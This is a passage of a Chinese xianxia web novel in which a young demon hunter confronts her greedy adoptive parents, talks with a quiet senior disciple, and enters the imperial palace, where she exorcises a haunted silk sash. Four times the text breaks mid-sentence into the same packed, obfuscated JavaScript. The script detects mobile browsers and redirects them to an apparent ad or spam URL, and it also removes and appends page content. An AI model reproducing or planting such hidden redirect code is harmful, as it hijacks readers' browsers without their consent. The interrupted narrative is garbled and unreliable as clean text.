尽管由于穿越,她对于其他人的印象已经模糊,可她还记得自己有一个爷爷。 “那你们就不想找到自己的亲生父母吗?” 慕宇轩有些奇怪地看了她一眼,说:“小五,难道你在流云派不高兴吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143789|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “没有,我不是那个意思,只是我们总归是要弄清楚自己的来历身世吧。” 慕宇轩摆摆手,颇为不赞同地说:“我只知道,在这里,师父和师娘尽管严厉,但却是真心对我们,弟子们也相处和谐。尽管这里地势偏僻难行,但比起其他的门派来说也未尝不算是清净,这就够了。有时候知道的太多反倒不好,所谓慧极伤身大抵是如此。” 此刻还是上午,阳光正好,透过稀疏的树叶,斑驳的光影显现在地面上。 姜望舒没有什么打猎的经验,疑惑地看到慕宇轩在忙活着用灵力挖深而陡峭的坑,坑壁还一定要光滑,这样猎物跑不出来,接着在上面铺上厚厚的落叶和草,使其看起来与周围的环境别无二致。 对上她迷茫的眼神,慕宇轩耐心地解释说:“你是不是很困惑,我们明明是捉妖师,为什么不直接用术法来抓猎物呢?咱们这片后山里的动物,不知道是之前被我们抓的次数多了还是什么别的原因,一个个都聪明的很,连影子都看不到,只能用老办法来设置陷阱了。” 说完,他在上面撒了一些浆果,这浆果上沾有蝴蝶妖的“粉末”,云舒每天都会收集它自然脱落的鳞片,这些鳞片对于动物有很强的诱惑力,使其变得更加香甜。 这里地势平坦,不远处还有一条小溪潺潺流过,的确是设置陷阱的最佳位置。 布置完这一切,他们躲在一处隐蔽的岩石后面,开始耐心等待。时间在寂静中缓缓流逝,姜望舒干脆盘腿而坐开始闭眼修炼,同时她也在静静感受着周围的变化。 倒是慕宇轩,凌晨和师父斗智斗勇后,有些困倦了,头一点一点地直打瞌睡。 突然,一阵轻微的声响传入他们的耳中,二人猛地睁开眼睛,看到一只灰蒙蒙的野兔正小心翼翼地向陷阱跳去。 野兔似乎也察觉到了什么不对劲,不时地用鼻子在地面上嗅来嗅去,好在姜望舒和慕宇轩已经提前将自己的气息隐藏起来,它什么都发现不了。 它跳到了陷阱边缘,犹豫了一下,但最终还是难以抵挡甜美浆果的诱惑。只是预料中的事情并没有发生,这只兔子安然地吃着干草上的食物,还满足地发出了“呼噜”声。 姜望舒嘴角微微抽搐了一下,水盈盈的眼睛瞪大,不可置信地看着慕宇轩。 慕宇轩此刻嘴巴张成了一个完美的“o”形,拍了拍脑袋轻声说:“我知道了,我好像把树叶铺的太厚了,这兔子太轻了,所以掉不下去。” 看来,还得是靠我自己。 在可爱的小兔子吃的正心满意足之时,她眼疾手快地用鞭子将它缠绕住,可怜的灰兔就这样落入了二人的魔爪。 就在慕宇轩将兔子收入专门装妖怪的口袋内时,不远处突然传来一声杀猪般的尖叫声,仔细一听,好像就是野猪震耳欲聋的咆哮。 姜望舒嘴角勾了勾,对一头雾水的慕宇轩说:“刚刚你挖坑的时候,我在小溪附近也布置了一个陷阱。” “小五,你的坑怎么挖得如此之快?而且你好像没用四师弟的浆果。” 姜望舒并没有解释,而是带着慕宇轩走到她布置陷阱的地方,只见一只野猪正四脚朝天,悬浮在半空中,模样既滑稽又可怜。 慕宇轩的嘴巴又张成了一个完美的“o”形。 12. 京城捉妖师大赛(十二) 她用的是束缚阵,在阵中央贴上气味符和幻象符,这些能够让智商不高的野猪误以为有美味的食物,而且阵法的布置比陷阱更加不留痕迹。 一般来说阵法只能针对妖怪使用。 但是姜望舒就不是一般人,流云派对这方面管束松散,秉承着绝不浪费自己一丁点天赋的原则,她直接就用在了抓野味上,反正她布阵快,画符也快几分钟的事情,用符更是如流水所以不过短短的几分钟时间就完成了。 他们又找了一些野菜,混素搭配才能更加有营养。 回到流云派的院子的时候已经是傍晚,姜望舒和慕宇轩错过了中饭,弟子们和师父师娘们一起吃了饭,就各自忙自己的事情去了。 清晨,姜望舒长长的睫毛轻颤,终于生无可恋地睁开了眼睛,她的生物钟已经习惯于早起了,到了时辰,不需要苏梓来敲门,她自己就醒了。 当然,清醒和起床是两件事,所以最后她还是从床上被苏梓拉起来晨练。 师父师娘早就不见了踪影,时间飞逝,日复一日,顾璟和慕宇轩收拾前往北方冰川,姜望舒、苏梓和云舒还留在流云派内,这次比赛的经历给姜望舒修炼上带来很多的启发,过了半个多月,苏梓又偷偷溜出去玩了,所以现在连云峰这片山上只有两个大活人。 至于是否会有别人闯到这里,只能说很难,一是地理位置实在太偏,二是在连云峰周围猛兽成群,一般人也很难进来。 和云舒相处了一段时间,姜望舒发现他的确是一个寡言少语的人,他大部分时间都和蝴蝶妖待在一起,他们俩每天交流的只停留在早上好(晨练),午好(吃午饭),晚上好(回房间)。 尽管如此,姜望舒还是发现,他很会照顾人,也很细心,早饭通常是他提前起床做的,在天气不好的时候,他会在桌子上放一把雨伞,以防姜望舒跑出去玩淋到雨。 日子就这样悠闲地过着,就在姜望舒研究完这个世界的地图,盘算着想要去东海看一看,她记得书中记载,陨落的是两大妖王本体分别是鹰和虎,活着的其中一个是海妖。 她一直生活在内陆,从来没有见过红日出海,夕阳余晖消逝在大海辽阔怀抱中的盛景,心中着实充满向往。 只是她还没有出发,连云峰就来了两位不速之客。 这天,她和云舒晨练结束后,像往常一样一起坐在餐桌前享用早餐,她正端起一碗豆浆,突如其来的巨大敲门声吓得她手一抖,豆浆洒出了几滴在桌子上。 隔着门听声音是一男一女,姜望舒甚至担心那破旧的大门会被直接拍碎,令她没想到的是,尽管他们的声音很大,门却纹丝不动,她立刻明白流云派的大门被施展了术法,外人不能轻易进来,估计这整个围墙都有术法保护。 姜望舒刚想起身去查看,就被云舒挥手拦住了,他提醒姜望舒先把早饭吃完,没有他们的允许,外面的人是进不来的。 看到云舒依旧不紧不慢地吃着,她也就放心下来,吃的心满意足后,和云舒一起去打开了门。 一对夫妻气势汹汹地冲了进来,都是四十出头的样子。男的身材瘦削,颧骨很高,眼神中带着怒气,头发也很凌乱,像是很久没有好好打理过,衣服有些皱皱巴巴的,整个人显得有些邋遢。女的身材微胖,头上戴了一件看起来很廉价的珠钗,脸色也不是很好看。 还没等姜望舒开口,女人见到她就像老鹰看到了猎物,直冲过来,想要抓住她的衣袖,嘴里还骂道:“小畜生,你给我过来!我们敲了那么久的门,为什么不开门!真是白眼狼!” 还没等她走近,一把锋利的剑就插在她的脚边,云舒冷冷地看着他们说:“放尊重点。” 女人被吓得不敢动弹,但嘴里还是在咒骂着:“野种就是野种,养不熟的,现在居然要帮着外人要杀了自己的养父母。”说完,她转身扑到男人怀里,哀嚎起来。 男人皱了皱眉毛,眼神里闪过一丝厌烦,但到底是没有推开女人,定定地看着姜望舒说:“无论如何,你现在在这小破流云派活得也不错,你弟弟在外面赌博,把之前留下的钱花光了,现在他有了困难,你接济他一些吧,就当是做姐姐的心意了。” 在看到他们本人之后,姜望舒终于通过原身的记忆想起,她是个孤儿,曾经被乡下一对夫妻捡到。他们生不出孩子,所以最开始,她的日子过的还算不错,只是后来,弟弟出生了,她是个女孩,而且不是亲生的,生活自己就艰难起来了。 父母开始对她动辄打骂,认为是替别人养了个赔钱货。 可她不是第一天变成女的,也不是第一天被知道不是亲生的。 原身的家附近住着一个老爷爷,对她很好,每次她要被打,不敢回家,就跑去爷爷那里,只是这位爷爷时常不在家。现在想想,姜望舒觉得那个爷爷应当不是普通人,因为他私下教了原身一些小术法,这也让原身能够顺利活了下来。 好在后来,在一天夜里,她偷跑到街上,遇到了捉妖师的师父和师娘,被带回了连云峰,所以她也算是被捡回来的。 不过,原身不是姜望舒,她对这对夫妇可没有丝毫的感情。 只是她也有些疑惑,这里这么偏僻,外面猛兽众多,他们是怎么找到这里的,又是怎么平安到达? “你们如何寻到这里来的?” 男人啐了一口,没好气地说:“要不是听说你在捉妖大赛上大出风头,我倒以为你已经死在街上了呢,看你现在活得也挺风光,银两也是大把的有,你随便拿出件法器给我们,我们去当了。” 原来那天夜里,他们知道她一个人在白雪皑皑的大街上冻了一晚上,但是依旧没有打开房门,也没有给她口饭吃。 云舒以为姜望舒会感到难过,不善言辞的他也不知道该怎么骂回去,只是本来就冷冷的脸色现在更是吓人,收起地上的剑就要动手,却被姜望舒一把拦住了。 姜望舒双手叉腰,脸上露出嘲讽的笑容说:“大白天的就开始做白日梦了?当初连口饭都不舍得给,现在却说对我有恩情,之前家里的钱都是我寄过去的,屁股出气也就图一乐,真放屁还得看你!” 听到这话,女人脸青一阵白一阵的,被气得有些口不择言,直接从怀中拿出一个荷包,荷包中飞出一只指引蝶,怒斥:“你长本事了,看到这个没?青天派弟子给的,就是那个姓沈的继承人,特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143790|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉害,你今天要是不给我们点好东西,我就去找他,让你再也做不成捉妖师!” 他们居然以为沈墨尘给出指引蝶是站在他们一方的,太天真了。 姜望舒明白了,这对贪得无厌的夫妇是因为有了沈墨尘给的指引蝶,所以才能安然无恙地找上门的。 直到后来,她才知道,当养父母再次去找沈墨尘想要讨一个公道的时候,沈墨尘才终于看清他们的为人,他以为帮助姜望舒找到了父母是一件好事,没想到这对夫妻居然是这幅尖酸刻薄的面目,后悔不已。 更惨的是,苏梓随后也知道了他干的“好事”,可怜的沈公子就这样被臭骂了一顿,还收到了好几天的冷脸,好不容易才绞尽脑汁哄回了苏梓。 “行,告就告,你尽管去说,我和四师兄忙的很,恕不奉陪。”姜望舒一脸无所谓。 他们还想要继续纠缠,就被云舒冰冷的样子吓退了,他很不客气地说:“不要再来打扰她的生活了,我们这山上野兽众多,突然跳出一只老虎、跑来一群狼都是很正常的事情,如果你们下次还想来闹,尽管找来。” 闻言,女人瑟缩了一下,意识到面前的人不是好惹的,终于是灰溜溜地离开了。 姜望舒突然有些理解为什么慕宇轩不想找到自己的父母了,如果遇到这种父母的话,找到了还不如没找到,这样至少还能留下一些美好的期许,人要懂得知足。 这天夜里,姜望舒还在房间里盘算着去东海的事情,她心里是有失落的,不知道是何原因,她的记忆越来越模糊,之前生活中的很多细节都被渐渐遗忘了。 突然,窗外传来了一阵箫声,这声音带着一丝丝凉意和空灵之感,就像山谷中潺潺的溪流,静谧,远离尘世的喧嚣,曲调独特,让她想起了一个人。 姜望舒没忍住推开房间的门,果然看到云舒正身着青衫,坐在房顶,眉宇间透着一股淡淡的忧郁,他的手中握着一支竹箫,箫声清幽地响起,如同月光化作音符,缓缓流淌在夜空中。 月色如水,抬头仰望,天空中除了那轮明亮的月亮,还点缀着几颗稀疏的星星,它们闪烁着微弱的光芒,像是在与月亮遥相呼应。 姜望舒脚尖一点,跳到房顶,什么都没有问,默默坐在了云舒旁边,她袖口一翻,不知道从哪里变出了一坛酒和两个酒杯,嘿嘿一笑,问:“从大师兄那里偷拿来的,要喝点吗?” 云舒停止了吹箫,侧头看向他,目光深邃,就在她以为要被拒绝的时候,他点了点头。 两人酒量都一般,只是小口地喝着。 良久,云舒突然开口说:“我的箫声有安抚之效,今日……或许你可以睡一个好觉。” 虽然他没有明说,但姜望舒听懂了,他是不想让她因为今日的事情而难过,姜望舒发自内心地感谢道:“谢谢四师兄。” “嗯。” 又是一阵很久的沉默。 姜望舒妆似无意问道:“四师兄,你似乎颇通乐理?你的房中有很多乐器。” 云舒颔首,说:“是很喜欢……我似乎从小的时候就会演奏这些乐器,后来才发现,这些都是宫廷乐曲,我的身世似乎与皇室有关……” 13. 御用捉妖师(十三) 说完,他的眼眸微垂,眼中闪过一丝落寞,却又很快被从容掩盖。 姜望舒安慰他说:“我们或许都是被人抛弃的孩子,无论是不被父母喜爱,亦或有苦衷也罢,至少我们现在可以抱团取暖,四师兄,你并不孤单的,我也并不孤单。当然,你如果想要去寻找自己的来历,这也是一个温暖并且勇敢的选择。” “只是,我怕……” “你担心你的父母是前者,他们厌恶你的出生。”姜望舒语气充满肯定。 她知道,云舒虽然平日话不多,但是几个弟子之中最细腻的,心思也最为深沉,很容易多想。 “那又有什么关系?你就是你,是一个独立的个体。” 她的话仿佛有什么神奇的魔力,让周围的空气都变得柔软起来,云舒突然觉得自己的确是有些钻牛角尖了,又陪着他坐了一会,姜望舒就回房睡觉去了。 悠扬的箫声婉转起伏,不知过了多久,箫声渐渐低沉,最终在一声悠长的尾音中戛然而止。云舒将箫轻轻收起,转身踏着月光,沿着小径缓缓离去,只余下那余音袅袅,还在月色中回荡。 这一夜的姜望舒睡得格外的好,一夜无梦。 那天晚上之后,姜望舒和云舒的关系越来越融洽,虽然表面上两人的相处模式和平常无二般,只是在吃饭的时候能多说几句话了,直到有一天,云舒离开了流云派,留下了一张字条,上面只写了“再见”。 这下好了,现在她成了孤家寡人一个。 就在姜望舒要出发去东海的前一天,一只五色鸟盘旋在空中,几行金色的字凭空出现,上面写着: 任命流云派的捉妖师姜望舒为御用捉妖师,参加三日之后的入朝仪式。 同时,从鸟的身上掉下来一块通行令。 皇宫里混入了妖族的事情被曝光出来了,皇帝怀疑在捉妖门派中有和妖族勾结的,所以对朝中和宫内的人员进行了巨大的调动,鉴于流云派在之前捉妖师大赛中的精彩表现,皇帝下旨在流云派内部选一人进宫。 她实在不想被选中,行李都收拾好了,马上就要出发去东海了,结果却要成为皇宫内免费的打工人,没有报酬的那种,当然,包吃包住倒也还好。 可问题是,她有得选吗?环顾四周,诺大的连云峰只有她一个大活人。 姜望舒甚至怀疑他们是提前得知了风声,所以一个个跑的那么快! 姜望舒并没有急着去京城,反正有蝴蝶妖,行程不会耽搁太久,她有个习惯,就是自己的荷包必须是装满了符箓,这能给她带来安全感,所以她做了两天的准备才出发。 京城依旧是很繁华,只是相比于大赛时期是冷清了不少,天色微明,阳光映照着巍峨的皇城,一群人正聚在宫门外,熙熙攘攘地在聊天。 姜望舒发现全是年轻人,而且大部分人都参加过捉妖大赛,她甚至还遇到了苏常和黄天。 “姜姑娘!”苏常看到她,有些兴高采烈地跑了过来,让姜望舒想到了一种动物——可爱的小狗。 他显然是没有想到会在这里遇到熟人,说:“我们年纪相仿,姜姑娘姜姑娘的,怪拗口,要不以后我就叫你望舒吧。没想到你也被选中了,不过这也是情理之中。” 姜望舒也不是什么摆架子的人,很自然地和他搭上了话,问:“你姐姐呢?” 苏常回答说:“她本来就是御用捉妖师,在朝中有一席之位,所以不和我们一起,哦,对了,那个青天派的沈墨尘也是在朝中威望很高。” 经过收百年蛇妖的危险经历之后,当时沈墨尘一个人挡在他们几人前面迎击蛇妖,苏常对待沈墨尘的态度明显转好,至少愿意主动提起他了。 两人就这么闲聊着,终于等到宫门缓缓开启,发出沉闷的声响。 大家都朝着宫门内走去,宫门口的侍卫检查过令牌后,他们就沿着宫道继续向前,两旁的宫灯高悬,青石板路被打扫的十分干净。 不多时,他们跟随一个太监来到了明德殿。尽管现在人类和妖族的关系日渐紧张,但是当今皇上还是不想要让朝中的人认为天子过度依赖捉妖师,这会有损天子的威严,所以,这次面见是在下朝之后进行的。 姜望舒忍不住在心里吐槽了一句:典型的又当又立。 “陛下有旨,宣捉妖师进殿面圣。”从宏伟的大殿中跑出了一个太监,尖细的声音回荡,他朝着各位捉妖师微微躬身。 姜望舒跟着众人一起,纷纷迈步走进大殿。大殿内空间广阔,在高台的龙椅上坐着一位身着龙袍的中年男子,约莫有四十岁,他就是皇帝。 双方说了一些漂亮话后,姜望舒身为女子,很自然地被分配到后宫里任职。 她先是被人带到了住处,简单收拾了一下后,就开始在后宫四处巡逻,说是巡逻,其实就是闲逛,因为他们后宫内的捉妖师没有固定的班值时间,所以还是很自由的。 不得不说,皇宫不愧是装点最舒适有格调的地方,后宫更是每一处都蕴含着精致。 她沿着后宫的长廊走着,熟悉了一下地理环境,又检查了一下各个角落布置的捉妖阵法,确定没有什么纰漏后,她已经不自觉地走到了后花园。 这是一处幽静之地,尽管已经是冬季,但居然还能看到繁花似锦的花海,小径两旁,芳草萋萋,绿意盎然,应当是被施展了法术。在尽头,有一座精致的凉亭,朱红色的柱子,还有一汪清泉。 正在她闲来无事,想要好生欣赏一下这里的景色时,一阵吵闹声破坏了氛围。 姜望舒:…… 在继续端着看美景和看热闹之间,她果断选择了后者。 寻着声音找去,发现是几个宫女和一个太监吵了起来,似乎是在争抢什么东西。 “这是我家主子要的书简,有提前登记在册的,你们要是想要借阅书简,就自己去御史大夫府。”一个很瘦小的太监紧紧抱住怀中的竹筐,护崽子似的后退。 宫女们有些不屑地说:“你家那位能和太子相提并论吗?我们太子说了,今日就要看这些书简,万一耽误了太子的事情,十个脑袋都不够你砍的。” 小太监还是不情愿,抱着竹筐连连后退。 见状,宫女们直接上手就要抢,虽说宫女的力气不如太监大,但她们人多,而且这个太监实在是太瘦弱了,看着像是营养不良的样子,争抢之间,他被踹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143791|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几脚。 “你们胡说,太子分明就不爱看这些书籍,每次我家主子要看什么你们都要来抢,就是故意欺负人!” 姜望舒远远地站着,并没有打算上前帮忙,捉妖师只管捉妖相关的事情,皇室的恩怨她可不想被卷入其中,就在她想要默默离开的时候,小太监眼尖地看到了她,大喊:“姜、姜大人,拜托,帮帮我!” 姜望舒叹了一口气,她本来不想掺合的,真的,只是就这么被点名喊着帮忙…… 身旁的小太监眼睛亮晶晶的,崇拜又感激地说:“谢谢你,你还是宫里第一位愿意帮助我们的捉妖师。” 姜望舒:……还不是你叫我名字叫的那么大声,不救的话她这尴尬得都要脚趾抠地了。 “所以你的主子是谁?” 活得这么惨。 “就是二皇子。” 姜望舒露出恍然大悟的表情,怪不得被欺负的那么厉害,皇宫内的事情她也有所耳闻。 当朝圣上共有四个孩子,三位皇子,一位公主,大皇子就是当今的太子,其生母是母仪天下的皇后,母家背靠永日派,势力很强,且受到皇帝的宠爱。 相比之下,二皇子的生母只是一个小小的官家女子,处处受到打压,最后这位官家女在皇宫的高墙院内早早离世。 没了母亲的保护,年幼的二皇子的处境就更加艰难了,被欺负是常有的事,尤其他聪明灵巧,可能对太子之位有所威胁,所以更是被太子所针对。 另一位比较得宠的就是柔妃,也是一名官家女子,据说和皇上的长姐相貌相似,都是极美的,她育有一男一女,也就是三皇子和四公主,不过有柔妃庇护,他们的处境更好一些。 那看来她这一帮助二皇子,就相当于自动站队了,姜望舒有些头疼,没人告诉她捉妖的剧本里还要有宫斗剧啊,费脑袋。 果不其然,姜望舒第二天就被小太监请到二皇子的寝殿内了,说是要感谢她救了自己的侍从,还请她一定要去坐一坐。 她本来想装着自己很忙拒绝的,奈何二皇子似乎格外执着,来请她好几次,没办法,她还是去了。 二皇子的寝殿位置比较偏远,姜望舒跟着小太监在木质长廊绕来绕去才到。这是一处仿佛已经被遗忘的角落,殿宇虽染依旧保持着皇家的规制,但是墙壁斑驳,朱漆褪色。 进入殿内,姜望舒刚想恭敬地行礼,却被人叫住了。 “没事,不必多礼,我还要多谢你的帮助,不然我怕是看不到这些书简了。”温和的声音响起。 这里光线昏暗,只有几盏豆大的烛火在角落里摇曳,勉强照亮周围。殿中的陈设显得有些简陋,但很干净整洁,一个男子正跪坐在窗边的一张檀木桌前,他的身影在昏暗的灯光下显得格外单薄。 见到姜望舒来了,他甚至微微起身。他的面容清秀,眉目间透着一丝与年龄不符的沉稳,眼神略有些落寞。 似乎是注意到姜望舒打量的目光,他略微有些窘迫,让昨天那个小太监上茶,抱歉道:“见笑了,我这里有些简陋。” 提到简陋,姜望舒的脑海来不自觉浮现起流云派那破旧的大门口,罪过罪过。 14. 御用捉妖师(十四) “没有。”姜望舒回应道。 殿内弥漫着一股淡淡的檀香,这是唯一保留的奢华了。香炉放在案几上,袅袅的烟雾在空中缓缓飘散,驱散这殿内的紧张氛围。 二皇子的目光穿过烟雾,落在姜望舒的身上,然后轻轻叹口气说:“实不相瞒,召你来还有一事相求。我的母妃……她已经去世很多年了,但是在我的不断坚持下,她曾经居住过的白梨院被父皇准许保留了下来,只是几个月前那里丢了一个宫女,而且夜半会传出哭声。我怀疑是出了妖物,想要烦请您去探查一下。” “之前为什么不去找其他的御用捉妖师看看?” 现在后宫里只有她一位御用捉妖师,可事情已经是几个月前发生的了,当时并不是姜望舒当差,如果真的有妖怪,放任它作恶的时间越长,就越危险。 “因为只有你愿意帮助我,如果父皇知道那里有妖怪,那个地方就一定保不住了。” 二皇子神情落寞地解释道,从他的口中,姜望舒得知,现在宫中可谓是两家独大,一方是皇后及太子的势力,另一方是柔妃的势力,只有他夹在中间,生存艰难。 他母妃的住处保留着,说明皇帝心中至少还是有这位曾经的官家女子的,也算给二皇子留个念想。 曾经,皇后明里暗里地想要皇帝将这个院子彻底封存,或是让别的妃子住进去,但好在她的提议都没有被采纳。 可若连白梨院都不再存在的的话,那他的处境只会更加艰难。 据说在白梨院惨死过两位娘娘,其中一位就是二皇子的生母,所以那里怨气应该很重,并且常年无人去,所以生出妖怪且难以被发现也是有可能的。 姜望舒答应他回去看看,离开前,她看到他的桌子上摆放着整整齐齐的书简,最上面的那一本是《素书》。 在回去的路上,姜望舒又碰到了几个宫女,其中有一个看着很面熟,好像是之前欺负二皇子侍从中的一个,她并没有太在意,只当是碰巧遇到。 姜望舒打算等到天黑再去白梨院,白天阳光足,妖怪大多不会敢现身。 到了晚上,姜望舒披了件外衣就出发白梨院,这是一座看起来荒废已久的园林,尽管设施已经破旧,但还算干净,可以看得出有人时常打扫过。 园林深处,有一座被荒草掩盖的古井,姜望舒停下脚步,凝视着那幽深的井口,片刻后,她移开了目光,那里并没有什么东西,看来是在屋内。 房门是虚掩着的,姜望舒轻轻推开门,房间中弥漫着一股腐木的气息,和其他宫内的布局差不多,正中是一张檀木桌,右侧有一张雕花大床,床幔低垂,窗边的案几上摆放着一些破损的物品,都是女子梳妆用的。 姜望舒四处走了走,发现床边有几本散落的书卷,看来二皇子的母亲就很喜阅读。 就在她要转身离开房间的时候,突然她抬手向一个方向打出了一张符箓,目标正是那张床头的一条白绫。一声凄厉的惨叫声传来,同时伴随着冷风从背后袭来,姜望舒微微侧身躲了过去。 一个苍白的身影缓缓浮现,是一个女子,她的妖力还不足以化形成为实体,突然,她诡异地笑了起来,嘴巴咧到了耳后根。 姜望舒不屑地说:“行了,少吓人了,前段时间丢失的宫女是你干的吧。” 眼见吓唬不到她,白绫妖转身就要跑,却被姜望舒摇动的摄魂铃定在原地,随着铃铛的声音不断响起,她的身影渐渐模糊起来,最后消失。 看着依旧鼓鼓的符咒袋,姜望舒很满意,这次的妖怪并没有耗费她多少精力,应当是宫里积攒的怨念让这条白绫修炼成妖,并且成为了彻头彻尾的恶妖。 就在姜望舒转身要离开的时候,突然外面传来一阵嘈杂声,隐约听到有人在喊:“对,就在里面,有人闯进去了。” 她快步走到门前,发现人已经到院子里了,她脑中立刻想到白天看到的那个丫鬟,有可能是太子带人来抓她的,其实她被发现倒也没什么,毕竟捉妖就是她的任务,但是太子肯定会在此大做文章,想到二皇子孝心一片…… 姜望舒还是准备从口袋中拿出隐身符,糊弄过去。只是她还没开始有所动作,眼前突然一黑,人就被原地带走了。 姜望舒:…… 她整个人几乎被祁辰半抱在怀中,两个人靠得很近,她甚至能清晰感受到男人身上传来的热量,暖呼呼的,单薄的青绿色衣衫上还带着淡淡的花香味道,也许是有些着急,肌肉紧绷。 姜望舒的手不小心撑到他宽阔厚实的胸膛上。 祁辰担心她尖叫出声,嘴巴还被用手捂着。 两人凭空出现在后花园的小湖边,姜望舒一把推开,祁辰,怒道:“你干什么!” 祁辰也没有生气,有些臭屁地说:“你懂什么,我是在救你和二皇子。” “首先,我是皇宫内的捉妖师,捉妖就是我的任务,不会有人能怪罪我,其次……”姜望舒单手叉腰,摊开一只手,里面赫然是一张隐身符。 祁辰美得发邪的脸上难得露出些窘迫的神情,有些不好意思地说:“我还以为你想要直接出去呢。” “怎么,二皇子是你朋友?还挺关心他的。” 祁辰默不作声,没有承认也没有否认。 见状,姜望舒转身就要离开,却被他拉住了手腕,拽了拽,没挣脱开,转头对他说:“干什么?我们孤男寡女的在这被发现岂不是很奇怪。快走吧。” 话音刚落,就有听到动静的侍卫往这边走,高声喊着:“谁在那。” 两人已经被发现,姜望舒握着隐身符的手还被祁辰攥着,来不及贴上了,电光火石间,她脑中闪过该如何解释自己和一只妖怪待在一块,或者是他恼羞成怒,直接杀了侍卫。 让姜望舒没想到的是,两个侍卫见到祁辰,居然直接恭敬地喊了一声王爷,然后祁辰挥了挥手,他们就退下了。 当朝只有一个王爷,就是长公主生的儿子李云为,尽管长公主早已逝世,但皇上和她关系甚好,所以李云为也极受宠爱,号为永乐王爷,有独立的封地,可以随意出入皇宫,也难怪刚刚那些侍卫逃也似的离开了,估计连她的脸都没看清。 姜望舒狐疑地看着他说:“你是王爷?混的挺好啊,怎么冒名顶替的?” 祁辰睨了她一眼,微抬下巴说:“不要胡说,我就是,再乱说我把你的头发都拔光。”说完,他松开了握住姜望舒的手。 姜望舒无语,心中暗道:我还把你叶子都拔光呢! 只不过这话她也只敢在心里说说了,毕竟现在还打不过,还是先活着吧。 随后,姜望舒敏锐地发现手腕上多了一个绿色的图案,纹路精致,构成一片小小的树叶状,她大概猜到祁辰的本体和植物有关。妖怪可以在别人身上种下这种追踪记号,类似于标记,通常是对猎物使用的,以此来追踪猎物的位置。 这能忍吗?她堂堂一个捉妖师,居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143792|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然被妖怪下了追踪咒,倒反天罡? “把你的这个放在我身上的定位去掉,不然我把你给这棵树给......”姜望舒不甘示弱地回怼了一句。 姜望舒本来想说的是烧掉,但不知为何,话到嘴边又沉默了,仿佛这个字真的如同它的意思般烫嘴。 姜望舒内心还是惊诧的,祁辰是妖,却能成为宫内的王爷,如果皇帝被蒙在鼓里不知情反倒是好的情况,万一是皇帝出了问题…… 而且,现在沈墨尘这个青天派下一任掌门人都没有成长起来,不然之前同行的时候,也不会发现不了祁辰的身份。 现在如果起冲突的话,局势自然是不好,不戳破才是明智之举。 祁辰嗤笑一声:“你倒是可以试试,如果你不怕我屠了整个皇宫的话。” 姜望舒没作声,转头就要离开了,这次,祁辰没有拦着她,而且她现在还有新的麻烦要处理。 第二天,二皇子的侍从早早地就来到姜望舒的住处,昨晚太子那么大的阵仗去捉人,而且二皇子还尤为关注他母妃故居之地,所以立刻就得到了消息,担忧了一夜。 真的会谢,怎么来到后宫当值还要早起。 姜望舒面无表情地爬起了床,快速收拾整齐,打开了房门,发现来的还是上次那个她救下来的小太监。 看到姜望舒开门,他似乎松了一口气,恭敬地行礼道:“姜大人,我家主子请您去喝茶,已经在等着了。” “好的,你叫什么名字?”总不能一直小太监小太监地叫他吧。 似乎有些受宠若惊,他立刻回应说:“小的叫阿光,感谢大人抬举。” 倒也不必这么恭敬,怪不好意思的。 两人步伐很快,有了第一次,现在姜望舒已经轻车熟路地跟着阿光七拐八绕,来到二皇子的宫殿。 二皇子显然已经等候多时,刚推开门,他已经站在书案前看了过来,先开口道:“不必如此多礼,情况如何,昨天你有被发现吗,实在抱歉,让你为我涉险了。” 他脸上的歉意十分明显,姜望舒说:“没有被发现,那是一条吸收了怨念的白绫化成妖,修为并不高,已经被我收服了。” “此事是我的疏忽,我的住处偏僻,平日少有人来往,母妃的故居更是没什么人去,没有想到居然走漏了风声,太子昨天直接派去了永日派的捉妖师和几个侍卫去,还好没有被发现。” 话锋一转,他竟直接站起身来,朝姜望舒行了个礼,说:“姜姑娘,你帮了我大忙,以后有用得上我的地方,尽管来找我,虽然我人微言轻,但只要不是伤天害理的事情,李某一定全力相助。” 